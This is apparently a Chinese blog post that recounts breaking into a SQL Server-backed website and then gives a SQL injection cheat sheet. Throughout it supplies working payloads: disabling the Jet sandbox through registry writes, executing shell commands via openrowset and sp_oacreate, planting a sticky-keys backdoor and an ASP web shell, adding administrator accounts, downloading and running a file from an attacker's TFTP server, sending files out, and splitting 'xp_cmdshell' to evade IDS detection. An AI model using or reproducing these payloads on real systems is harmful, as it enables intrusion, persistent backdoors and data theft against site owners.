來自草哲的blog
嘗試在NB里面恢復CMDSHELL、OACREAT都沒有成功,所以開啟SQLSERVERAGENT
;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--
還是沒有成功,無奈之中希望寄托于沙盒模式,執行如下語句開啟沙盒模式
;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
回顯成功,進一步調用oledb執行系統命令
and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo 1 >c:\1.txt")'))--
回顯500,明顯出錯了,沙盒模式也暫且放下 既然可以寫注冊表,那一定可以讀注冊表,那先讀讀終端端口看看。
是默認的3389但是我無法連接,或許是沒開終端服務,或許是防火墻屏蔽,不得而知,一定想知道我為什么要連接終端吧,下面看這段語句。
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
大家一定記得最近很流行的SHIFT后吧,以上兩段語句就是利用FSO組件的讀寫權限替換粘拈鍵為桌面的啟動程序EXPLORER,如果替換成功那么執行5次SHIFT后就可以直接執行EXPLORER.EXE開啟桌面,但是連不上遠程這個方法也就不能用了。當然以上的命令需要OACREAT的支持,我也就是抱著僥幸的心理試試看。假設OACREAT沒有刪,我們還可以利用以下語句執行系統命令。
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234 /add';--
;DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234/add';--
以上兩個語句也是利用OACREAT調用wscript.shell和Shell.Application組件執行系統命令,但是在這里我們是用不了的,因為不僅OACREAT不在,就連那兩個危險組件管理也寫了個批處理卸了。
萬般無奈下嘗試lOG備分拿只SHELL,可是備分的頁面卻是404,很顯然這個SA沒有備分的權限,還能怎么做?看下面:
;exec sp_makewebtask 'd:\zjkdj\zjkdj\zjkds\bake.asp,' select ''<%execute(request("a"))%>'' ';--
利用sp_makewebtask這個存儲過程寫個馬進去,很幸運這個過程是能用的,成功得到SHELL,本來想傳xplog70.dll上去恢復xp_cmdshell存儲過程,但是執行恢復的時候發現這個過程是在的,然后在海洋里執行CMDSHELL執行系統命令,但是出現了這一句,
xpsql.cpp: 錯誤 2 來自 CreateProcess(第 737 行
我暈啊,難道是CMD.EXE刪了?在NB里面列目錄查看SYSTEM32下的文件,果然沒有cmd.exe,這下終于真象大白了,原來不能執行系統命令的原因是每個存儲過程都是調用系統的cmd.exe,既然沒有cmd.exe那還怎么執行系統命令?管理還是下了辛苦的哦。
整理下思路后我又想到了沙盒模式,因為啥盒模式調用的CMD不一定是系統自帶的,我們可以自己傳一個上去的,想到這里在WEB目錄下傳了個CMD.EXE然后在海洋里執行如下語句
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("d:\zjkdj\zjkdj\zjkds\cmd.exe /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
立刻到站點目錄下找1.txt,但是沒有發現,看來只能調用系統自帶的程序了,無聊的在SYSTEM32下亂逛,突然發現了command.com這個程序,哈哈,總算看到希望了!這是什么?我來告訴你吧,它也是系統自帶的執行系統命令的程序,和CMD.EXE的功能幾乎沒有區別,但是大小卻比CMD.EXE小幾十倍,既然不讓調用外部程序那我就調用內部程序,馬上就在海洋里修改好如下語句執行。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
調用command.com執行系統命令,執行完成后在站點目錄下總算找到了1.txt
哈哈,總算看到希望了,打開1.txt看看服務器開了什么服務,但是我卻看到一片空白,這是什么原因?難道?還是確定一下比較好,立刻轉到SYSTEM32下查看文件,令我吃驚的是居然沒有看到NET.EXE,怪不得一片空白呢,系統根本沒有net.exe這個程序,自然是什么也看不到,郁悶,管理員不是一般的變態啊!
不過沒有關系,windows系統中還有一個叫net1.exe的程序功能是和net.exe一樣的哦,我們來調用它執行系統命令,語句如下
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net1 start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
執行完畢后再看1.txt
哈哈,成功了,入侵到了這里也就沒有什么繼續的必要了,因為我們已經有了系統權限,想做什么都隨自己愿意了,收拾收拾在管理員的桌面上寫個提醒.txt告訴他漏洞所在,讓他盡快修補吧!
最后總結一下,在先前以為是系統的存儲過程刪掉了,但是后來隨著入侵的深入才發現過程并沒有刪,只是每個存儲過程都必須調用cmd.exe所以不能執行系統命令也是肯定的了,所以大家在入侵的時候一定要細心的分析整個過程,從中找出對自己有用的東西。
第二
一:命令簡介
[獲取全部數據庫名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值為7以上都是用戶數據庫
[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
select top 1 name from 數據庫名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)
[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
select top 1 數據庫名.dbo.col_name(object_id(’要查詢的數據表名’),字段列如:1) [ where 條件]
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數據庫用戶用戶test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系統用戶test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //將系統用戶test提升為管理員
這樣,你在他的數據庫和系統內都留下了test管理員賬號了
下面是如何從你的服器下載文件file.exe后運行它[前提是你必須將你的電腦設為TFTP服務器,將69端口打開]
id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--
然后運行這個文件:
id=2; exec master.dbo.xp_cmdshell ’file.exe’;--
下載服務器的文件file2.doc到本地TFTP服務器[文件必須存在]:
id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--
繞過IDS的檢測[使用變量]
declare @a sysname set @a=’xp_’ ’cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’ ’_cm’ ’dshell’ exec @a ’dir c:\’
新加的:
建一個表。只有一個字段,類型為image,將asp內容寫入。導出數據庫為文件
backup database dbname to disk=’d:\web\db.asp’;
報錯得到系統操作系統和數據庫系統版本號
id=2 and 1<>(select @@VERSION);
|